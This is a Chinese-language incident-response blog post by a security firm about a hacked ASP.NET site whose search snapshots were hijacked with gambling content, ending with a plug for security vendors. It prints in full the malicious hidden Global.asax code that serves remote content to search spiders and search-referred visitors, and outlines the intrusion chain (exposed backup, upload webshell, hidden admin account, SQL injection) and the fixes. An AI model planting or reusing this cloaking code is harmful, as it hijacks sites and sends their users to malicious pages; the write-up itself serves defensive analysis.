如何解決網站快照被劫持收錄灰色內容的問題

網站安全發表於2022-03-16

3月份所有的企業都開始恢復正常運營,公司網站的運營者發現網站被攻擊篡改跳轉,在百度的收錄出現了大量的與網站本身內容不相干的快照,都是一些菠菜或違規的內容,而運營者用的是單獨伺服器WIN2008系統在伺服器裡找了好久都沒有發現被篡改的問題,而且公司對這個網站的聲譽非常嚴謹,需要儘快恢復正常訪問,這個運營者束手無策後,找到了我們SINE安全尋求服務,我們接手後立馬安排安全技術對客戶網站的整體情況以及百度收錄的情況進行了排查,發現網站在春節期間被入侵篡改收錄了大量的違規快照內容,而且伺服器裡還有其他的網站也同樣被篡改,接下來我把處理過程簡單總結一下。

如何解決網站快照被劫持收錄灰色內容的問題

1.分析網站被攻擊篡改的原因

客戶網站用的是單獨伺服器,伺服器是Windows server 2008,網站架構是用.net寫的也就是aspx,資料庫是sqlserver 2008,是一個綜合的網站平臺,有購物平臺和客戶下單系統,客戶公司對網站使用者的資訊以及訂單資訊很重視怕被洩露,以及對網站的名譽都很重視,才想盡一切辦法來恢復正常訪問和安全加固,看了下網站根目錄下的結構,存在一些預設的管理員目錄admin,以及根目錄下有個rar的壓縮檔案包,名字為filesbak.rar,開啟看了下內容竟然是網站的備份目錄,而且還包含了一些資料庫備份的sql檔案,可想而知,駭客肯定會透過批次猜解檔名去嘗試下載。

透過對網站目錄裡的檔案進行了程式碼安全審計,發現被上傳了aspx木馬後門,而且日期是2022年2月3日的,透過對日誌的分析對比,發現駭客下載了網站的備份檔案,透過上傳功能的upload.aspx檔案直接上傳了木馬後門,本身aspx的許可權就比較大,可以直接提權拿到伺服器許可權,想到這裡,對伺服器的使用者和使用者組進行了比對,發現被增加了隱藏的管理員賬戶(客戶網站的運營者沒有發現,是因為你點開使用者管理是看不到的,只能由我們SINE安全技術透過比對登錄檔進行對比才能看到),說明伺服器也被駭客拿下了。既然問題已經清楚了,那就要分析被劫持跳轉和收錄惡意快照內容的問題,首先要檢查網站根目錄下的配置檔案web.config看看有沒有改動,檢查了下檔案內容正常,看了下首頁檔案index.aspx也沒有篡改的跡象,對IIS站點的屬性裡的url偽靜態也進行了檢視,也沒發現問題,根據我們多年的網站安全公司的處理經驗,根目錄下可能存在隱藏的檔案,透過cmd命令下進行檢視果然看到了一個隱藏屬性的檔名為Global.asax,直接cmd命令cp複製檔案到桌面進行檢視,發現了被劫持跳轉收錄的木馬程式碼:

<%@ Application Language="C#" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
void Application_Error(object sender, EventArgs e)
{
if(Context != null)
{
HttpContext ctx = HttpContext.Current;
Exception ex = ctx.Server.GetLastError();
HttpException ev = ex as HttpException;
if(ev!= null)
{
if(ev.GetHttpCode() == 404)
{
string[] spidersString = "sogou,m.sogou,so.com,baidu,google,sogo,youdao,yahoo,bing,118114,soso,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,ucbrowser,uc".ToLower().Split(',');
string[] refesString = "sogou,m.sogou,so.com,baidu,google,sogo,youdao,yahoo,bing,118114,soso,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,ucbrowser,uc".ToLower().Split(',');
string Path = "xxx";(由於網站不能帶網址,所以用xxx代表)
string jsPath = "xxx";(由於網站不能帶網址,所以用xxx代表)
string leftPath = "xxx";(由於網站不能帶網址,所以用xxx代表)
string REFERER = "xxx";(由於網站不能帶網址,所以用xxx代表)
string user="";
string urls=Request.Url.ToString();
string host=Request.Url.Host;
string spi2 = "";
string[] spidersString2 = "ao,so.com,360".ToLower().Split(',');
string user2 = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();
foreach (string s12 in spidersString2)
{
if (user2.IndexOf(s12) != -1)
{
spi2 = "&zz=360";
break;
}}
if (user2.IndexOf("aid") != -1)
{
spi2 =spi2 + "&bb=baidu";
}
if (Request.UrlReferrer != null)
{
REFERER = Request.UrlReferrer.ToString().ToLower();
}
if (Request.ServerVariables["HTTP_USER_AGENT"] != null)
{
user = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();
}
foreach (string s in refesString)
{
if (REFERER.IndexOf(s) != -1)
{
ctx.ClearError();
string getjs = get_content(jsPath);
Response.Write(getjs);
Response.End();
}
}
foreach (string s in spidersString)
{
if (user.IndexOf(s) != -1)
{
ctx.ClearError();
Response.Clear();
if (urls.IndexOf("sitemap") != -1)
{
string getleft = get_content(leftPath);
Response.Write(getleft);
Response.End();
}
string gethttp = get_content(Path+"?host="+host+"&urldz="+urls+spi2);
Response.Write(gethttp );
Response.End();
}
}
//Response.Redirect("/");
} } }}
void Application_BeginRequest(object sender, EventArgs e)
{
string[] spidersString = "Baiduspider,baidu.com,sogou.com,m.sogou,sougou,sogo,soso,360Spider".ToLower().Split(',');
string user="";
if (Request.ServerVariables["HTTP_USER_AGENT"] != null)
{
user = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();
}
foreach (string s in spidersString)
{
if (user.IndexOf(s) != -1)
{
Response.Clear();
string gethttp = get_content("xxx");(由於網站不能帶網址,所以用xxx代表)
Response.Write(gethttp);
}}}
private string get_content(string p)
{
string s = "";
try
{
System.Net.WebClient client = new System.Net.WebClient();
client.Encoding = System.Text.Encoding.GetEncoding("gb2312");
s = client.DownloadString(p);
client.Dispose();
}
catch(Exception ex)
{
Response.Write(""+ex.Message);
}
return s;
}</script>

如何解決網站快照被劫持收錄灰色內容的問題

2.網站木馬清除和網站漏洞修復

找到問題後,我先來講一下這個程式碼的作用,這個程式碼的功能主要是根據來路條件進行判斷,如果來路的搜尋引擎是sogou,m.sogou,so.com,baidu,google,sogo,youdao,yahoo,bing,118114,soso,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,ucbrowser,uc,就直接顯示劫持地址的惡意內容,如果是直接輸入網站域名的話就是正常顯示,主要是對網站的快照收錄和來路進行跳轉,所以說很多運營者如果直接輸入網站域名是發現不了問題的,如果使用者搜尋關鍵詞點選網站連結進入的話會直接被跳轉到惡意網站上去,知道原理後那我就找個模擬百度抓取的工具去抓取看下內容,圖片如下:

如何解決網站快照被劫持收錄灰色內容的問題

果然模擬百度蜘蛛抓取到的內容會顯示惡意標題,那瞭解這個木馬劫持收錄跳轉的原理後,直接先把這個隱藏屬性的Global.asax強制刪除,然後再模擬抓取看下是否正常:

如何解決網站快照被劫持收錄灰色內容的問題

好了,網站恢復了正常訪問,抓取也正常了,接下來的工作就是對網站木馬後門的清理以及對網站漏洞的修復,透過我們人工程式碼審計發現一共留了3個後門,和1個伺服器遠控後門,先對網站的後門進行了刪除,對上傳目錄進行了限制,對upload.aspx上傳功能這裡進行了修復,嚴格了對上傳的字尾名限制,防止被繞過並上傳aspx或asp的指令碼檔案,考慮到網站是用aspx和sql架構寫的程式碼,認真看了下功能程式碼的變數提交函式的寫法,發現存在sql注入攻擊,駭客可以透過sql注入漏洞進行攻擊直接用資料庫使用者的dbwone許可權提權執行增加管理員賬戶,看到這個問題後立即對提交的變數函式統一進行了過濾,對非法字元和語句進行了限制,對預設的後臺管理目錄進行了系統二次驗證,防止駭客暴力破解後臺登入並篡改資訊,伺服器的後門直接對遠端埠以及管理員賬戶進行了安全策略,只允許指定的IP進行通訊。

因為大部分的運營者的安全技術有限,只能解決表面的問題,而網站反覆被篡改攻擊的問題實在是讓運營者招架不住,再次建議網站的運營者有條件的話一定要向網站漏洞修復公司進行服務,國內做網站安全加固和漏洞修復的服務商如SINE安全,鷹盾安全,啟明星辰,大樹安全,都是有著豐富的實戰安全防護經驗,術業有專攻,專業的事情專業做。做好安全加固防護後網站穩定執行才是公司持久發展的必要條件。


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/31542418/viewspace-2871463/,如需轉載,請註明出處,否則將追究法律責任。

相關文章